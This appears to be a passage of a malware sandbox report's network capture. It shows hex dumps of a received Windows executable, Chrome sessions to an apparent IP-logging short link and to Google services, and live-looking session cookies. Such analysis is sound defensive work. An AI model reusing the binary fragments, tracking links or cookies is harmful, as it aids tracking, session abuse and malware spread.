40 00 00 40 2e 72 65 6c 6f 63 00 00 60 15 00 00 00 50 03 00 00 16 00 00 00 fc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ`@!L!Require Windows$[a[a[aR~YaRo\aRyMaRiJa[aa4dYa4P_a4Qja4`Za4gZaRich[aPEL.`z{@p@TQ@?Y'P8.textxz `.rdataj56~@@.data+@.rsrcQ@B@@.reloc`P@B
Feb 20, 2024 23:46:06.610327005 CET	1286	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: UMMMMj$fE}tMEEEMUPMPhPfE}tM(E
Feb 20, 2024 23:46:06.610404015 CET	1286	IN	Data Raw: 33 c0 8b e5 5d c2 0c 00 cc cc cc cc cc cc cc cc cc cc 55 8b ec 8b 45 0c 50 8b 4d 08 51 e8 10 00 00 00 83 c4 08 5d c3 cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a 10 8b 45 0c 50 8b 4d 08 51 e8 26 62 02 00 83 c4 0c f7 d8 1b c0 83 c0 01 5d c3 cc cc Data Ascii: 3]UEPMQ]UjEPMQ&b]UQEHMUEBE]U8EBE8]MMUPXBEMQUPMQEUEP=URMM=
Feb 20, 2024 23:46:06.610467911 CET	1286	IN	Data Raw: fc 83 c0 06 50 68 5c 94 42 00 e8 2d fd ff ff 83 c4 08 e9 b8 fd ff ff 68 b4 96 42 00 8b 4d fc 83 c1 02 51 e8 b4 1e 00 00 83 c4 08 f7 d8 1b c0 f7 d8 74 42 8b 55 fc 0f b7 42 06 83 f8 30 74 0c 8b 4d fc 0f b7 51 06 83 fa 31 75 25 8b 45 fc 0f b7 48 08 Data Ascii: Ph\B-hBMQtBUB0tMQ1u%EH wURh,B_;hBEPVt"MQ wjBs!hBEPt7MQ0\|&EH9URB
Feb 20, 2024 23:46:06.610522985 CET	1286	IN	Data Raw: 8b 55 0c 81 e2 00 00 01 00 75 0b 8b 45 b0 0d 00 01 00 00 89 45 b0 8d 4d f4 51 8b 55 08 52 e8 23 1a 00 00 83 c4 08 50 8d 4d e8 e8 77 fe ff ff 8d 4d f4 e8 2f ba 00 00 85 c0 75 1c c7 45 a8 01 00 00 00 8d 4d e8 e8 dc 2d 01 00 8d 4d f4 e8 d4 2d 01 00 Data Ascii: UuEEMQUR#PMwM/uEM-M-E{MEMEEPBt=MujURLBEPPBEM{-Ms-EEM_-MW-E]UEEE
Feb 20, 2024 23:46:06.610601902 CET	1286	IN	Data Raw: 8d 4d f0 e8 98 f8 ff ff b8 01 00 00 00 85 c0 0f 84 da 00 00 00 8d 4d ec 51 8d 4d f0 e8 ff ee ff ff 50 e8 29 28 00 00 83 c4 08 89 45 fc 83 7d fc 00 75 74 8b 55 10 83 c2 02 89 55 10 8b 45 10 0f b7 08 83 f9 30 7c 0b 8b 55 10 0f b7 02 83 f8 39 7e 2c Data Ascii: MMQMP)(E}utUUE0\|U9~,Ma\|Ez~UA\|2MZ'EPMMRMEcHEPMQjUREPM/PMN(E\BMMME
Feb 20, 2024 23:46:06.610908985 CET	1286	IN	Data Raw: 08 83 c0 2c 50 8d 4d d0 51 ff 15 24 90 42 00 eb 4a 8b 55 08 8b 45 c0 89 42 2c 8b 4d c4 89 4a 30 eb 39 6a 66 8b 55 08 8b 02 8b 4d 08 51 8b 50 1c ff d2 89 85 6c ff ff ff 8d 4d b8 e8 fa 09 00 00 8d 4d f4 e8 d2 23 01 00 8d 4d e0 e8 ea 09 00 00 8b 85 Data Ascii: ,PMQ$BJUEB,MJ09jfUMQPlMM#MlCEx4t~M P#u9jhMEPJhMMx#MhdMsMK#McdU,RM &
Feb 20, 2024 23:46:06.611223936 CET	1286	IN	Data Raw: 00 74 71 8b 15 50 d4 42 00 89 55 f0 8b 45 f0 83 e8 01 89 45 f0 83 7d f0 69 77 3d 8b 4d f0 0f b6 91 ec 2e 40 00 ff 24 95 d8 2e 40 00 6a 11 6a 00 e8 0f 85 00 00 83 c4 08 eb 30 6a 12 6a 00 e8 01 85 00 00 83 c4 08 eb 22 6a 13 6a 00 e8 f3 84 00 00 83 Data Ascii: tqPBUEE}iw=M.@$.@jj0jj"jjPBPjj@E=@B=LBtMQLBR,Bt}t^E%=tMQj!j\|6Uu=BtE%P B
Feb 20, 2024 23:46:06.611289024 CET	1286	IN	Data Raw: ec 51 89 4d fc 33 c0 8b 4d fc 66 89 01 33 d2 8b 45 fc 66 89 50 02 8b 4d fc c7 41 08 00 00 00 00 8b 45 fc 8b e5 5d c3 cc cc cc cc cc cc cc 55 8b ec 51 89 4d fc 8b 4d fc e8 71 6d 01 00 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 51 Data Ascii: QM3Mf3EfPMAE]UQMMqm]UQMEQM-]UQMEE]UQME@@MQURMd6]UQMEPM6]UE
Feb 20, 2024 23:46:06.611449957 CET	1286	IN	Data Raw: c0 01 50 8d 4d ec e8 dd fd ff ff 50 8b 4d f8 83 c1 01 51 ff 15 44 90 42 00 8d 4d ec e8 97 fd ff ff 8d 4d ec e8 1f a1 00 00 89 45 fc c7 45 e8 00 00 00 00 eb 09 8b 55 e8 83 c2 01 89 55 e8 81 7d e8 ff 0f 00 00 7d 4d 8b 45 fc 83 c0 0f 50 8d 4d ec e8 Data Ascii: PMPMQDBMMEEUU}}MEPMEMQUREMARBM<MP@BuEPMM`E]UQEPXBEMQXB;E\|$UREPMQPBuU
Feb 20, 2024 23:46:06.826312065 CET	1286	IN	Data Raw: 00 00 75 0e 8b 4d 08 51 e8 55 ff ff ff 83 c4 04 eb 38 83 3d 88 d4 42 00 02 75 2a 8b 55 0c 52 8d 85 bc fd ff ff 50 ff 15 50 90 42 00 85 c0 7c 07 b8 01 00 00 00 eb 13 8b 4d 08 51 e8 22 ff ff ff 83 c4 04 eb 05 b8 01 00 00 00 8b e5 5d c3 cc cc cc cc Data Ascii: uMQU8=Bu*URPPB\|MQ"]UjEP\BuIHBE}tMQ B3.UR@BE}tEuMQ B3]UM2jjMPMP`BE}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	104.21.79.229	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:04 UTC	655	OUT	GET /2ZrVm4 HTTP/1.1 Host: 2no.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-20 22:46:05 UTC	1184	IN	HTTP/1.1 302 Found Date: Tue, 20 Feb 2024 22:46:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close location: http://www.google.com/ set-cookie: 528326243210798046=3; expires=Thu, 20 Feb 2025 22:46:05 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict set-cookie: clhf03028ja=191.96.227.222; expires=Thu, 20 Feb 2025 22:46:05 GMT; Max-Age=31622400; path=/; secure; HttpOnly; SameSite=Strict memory: 0.4245147705078125 expires: Tue, 20 Feb 2024 22:46:05 +0000 Cache-Control: no-store, no-cache, must-revalidate strict-transport-security: max-age=604800 strict-transport-security: max-age=31536000 content-security-policy: img-src https: data:; upgrade-insecure-requests x-frame-options: SAMEORIGIN CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Unrj68xTSXtd5FWcum7Rl4MlqL8VrQ0x7Pp6pqtIJiW65ijWtONA3I2IZdzFM3OVeHT1vDk%2Bmdq8hXvowquVvhXlG%2BkmHnAKdhh3Fc4iKdM9e0kBThn9tjA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 858a48986f4f0f67-EWR alt-svc: h3=":443"; ma=86400
2024-02-20 22:46:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49714	142.250.31.84	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:04 UTC	680	OUT	POST /ListAccounts?gpsia=1&source=ChromiumBrowser&json=standard HTTP/1.1 Host: accounts.google.com Connection: keep-alive Content-Length: 1 Origin: https://www.google.com Content-Type: application/x-www-form-urlencoded Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4
2024-02-20 22:46:04 UTC	1	OUT	Data Raw: 20 Data Ascii:
2024-02-20 22:46:04 UTC	1799	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Access-Control-Allow-Origin: https://www.google.com Access-Control-Allow-Credentials: true X-Content-Type-Options: nosniff Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 20 Feb 2024 22:46:04 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-p9XhJzbg8-2HIcQOC2fdUQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/IdentityListAccountsHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/IdentityListAccountsHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/IdentityListAccountsHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* reporting-endpoints: default="/_/IdentityListAccountsHttp/web-reports?context=eJzjMtDikmLw1JBiOHxtB5Meyy0mIyCe2_2UaSEQH4x7znQUiHf4eLA4pc9gDQJiIR6ONdevrGMTaPj6ahYzALhDF-Y" Server: ESF X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-02-20 22:46:04 UTC	23	IN	Data Raw: 31 31 0d 0a 5b 22 67 61 69 61 2e 6c 2e 61 2e 72 22 2c 5b 5d 5d 0d 0a Data Ascii: 11["gaia.l.a.r",[]]
2024-02-20 22:46:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	142.251.40.238	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:04 UTC	752	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-02-20 22:46:05 UTC	732	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-aTSkJAObXDuNZsHd9DhSig' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 20 Feb 2024 22:46:04 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6259 X-Daystart: 53164 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-02-20 22:46:05 UTC	520	IN	Data Raw: 32 63 39 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 32 35 39 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 35 33 31 36 34 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 Data Ascii: 2c9<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6259" elapsed_seconds="53164"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2024-02-20 22:46:05 UTC	200	IN	Data Raw: 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 723f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2024-02-20 22:46:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49717	142.250.81.228	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:05 UTC	846	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4
2024-02-20 22:46:06 UTC	1845	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgsIrtfUrgYQ66GnBhIEv2Dj3g Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-7_cTz1W0AuL35hSwT6eCgg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Tue, 20 Feb 2024 22:46:06 GMT Server: gws Content-Length: 398 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2024-02-20-22; expires=Thu, 21-Mar-2024 22:46:06 GMT; path=/; domain=.google.com; Secure; SameSite=none Set-Cookie: AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ; expires=Sun, 18-Aug-2024 22:46:06 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-02-20 22:46:06 UTC	398	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 26 61 6d 70 3b 71 3d 45 67 53 5f 59 4f 50 65 47 4b 33 58 31 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49718	142.250.81.228	443	7832	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-02-20 22:46:06 UTC	1106	OUT	GET /sorry/index?continue=https://www.google.com/&q=EgS_YOPeGK3X1K4GIjCs5bmnU-QRgcCxGGYio4gxMIxzCz8oSx53B1g933onepuWbALDDhFc9jBNVv2Q5b8yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=Ef5vPFGw-MZYo5hwe-0ThAVslbxbmvdVZwcHnqVzWHAU14v53MN1VvwvQq8baYfg2-IAtqZBV5NOL5rvj2NWIqrz377UhLdHtOgE-tJaBlUBYJEhuGsQdqni3oTJg0brqv1djdiLJyvTSUhdK-c5JWadCSsULPLzhSx-F-6wOg4; 1P_JAR=2024-02-20-22; AEC=Ae3NU9O2Tzbo8GWfOKc6eZ1KT0vjCbDQUmWoxnBNZoofkrmSndokMcZywQ
2024-02-20 22:46:06 UTC	356	IN	HTTP/1.1 429 Too Many Requests Date: Tue, 20 Feb 2024 22:46:06 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3056 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-02-20 22:46:06 UTC	896	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>https://www.google.com/</title></head><body style="font
2024-02-20 22:46:06 UTC	1252	IN	Data Raw: 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 6c 57 51 69 38 58 46 59 4a 48 4c 46 42 53 6f 55 35 53 69 44 38 44 72 65 4c 4d 62 4c 71 79 61 4d 57 49 4c 55 70 35 4b 43 7a 31 46 33 35 7a 57 6f 6d Data Ascii: esponse) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="lWQi8XFYJHLFBSoU5SiD8DreLMbLqyaMWILUp5KCz1F35zWom
2024-02-20 22:46:06 UTC	908	IN	Data Raw: 73 74 73 20 63 6f 6d 69 6e 67 20 66 72 6f 6d 20 79 6f 75 72 20 63 6f 6d 70 75 74 65 72 20 6e 65 74 77 6f 72 6b 20 77 68 69 63 68 20 61 70 70 65 61 72 20 74 6f 20 62 65 20 69 6e 20 76 69 6f 6c 61 74 69 6f 6e 20 6f 66 20 74 68 65 20 3c 61 20 68 72 65 66 3d 22 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 70 6f 6c 69 63 69 65 73 2f 74 65 72 6d 73 2f 22 3e 54 65 72 6d 73 20 6f 66 20 53 65 72 76 69 63 65 3c 2f 61 3e 2e 20 54 68 65 20 62 6c 6f 63 6b 20 77 69 6c 6c 20 65 78 70 69 72 65 20 73 68 6f 72 74 6c 79 20 61 66 74 65 72 20 74 68 6f 73 65 20 72 65 71 75 65 73 74 73 20 73 74 6f 70 2e 20 20 49 6e 20 74 68 65 20 6d 65 61 6e 74 69 6d 65 2c 20 73 6f 6c 76 69 6e 67 20 74 68 65 20 61 62 6f 76 65 20 43 41 50 54 43 48 